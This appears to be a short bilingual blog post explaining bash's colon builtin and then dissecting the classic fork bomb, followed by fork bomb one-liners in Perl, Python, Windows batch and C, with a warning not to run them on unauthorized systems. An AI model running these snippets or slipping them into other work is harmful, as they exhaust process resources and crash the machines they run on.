bash中的冒号, 以及bash bomb解析还有各种各样的炸弹
bash中的冒号是内建命令
“:” is a builtin shell command, and is equivalent to to the “true” command, it is used mostly as a placeholder in scripts.
永远返回真, 相当于一个站位符号.
可以用来注释,跨行注释
: ‘this is
comment
!!’
如下是一个有冒号的,看似是一个命令. 会不断fork线程,导致机器崩溃.
但实际上, 这个和冒号命令无关.
:(){ :|:& };:
: 这里代表是定义了一个函数名字而已. 和下面的一段bash代码意义相同.
funcname() {
# Run 2 instances of the very same function
# in the background. Each of these new
# processes will do the same: each starts 2 new
# processes doing the same,... and again, and again..
funcname | funcname &
}
STUB: dont run this! It will probably halt your computer.
# Now just call the function to start forking
# bash processes indefinately.
funcname
# We will never get here.
如何让机器死机?
Perl exmaple:
perl -e "fork while fork" &
Python example:
import os
while(1):
os.fork()
Windows XP / Vista bat file example:
:bomb
start %0
goto bomb
UNIX style for Windows:
%0|%0
C program example:
#include
int main() { while(1) fork(); }
Plz note that the fork bomb is a form of denial of service, so don’t run on production or unauthorized system.
此篇文章已被阅读2258 次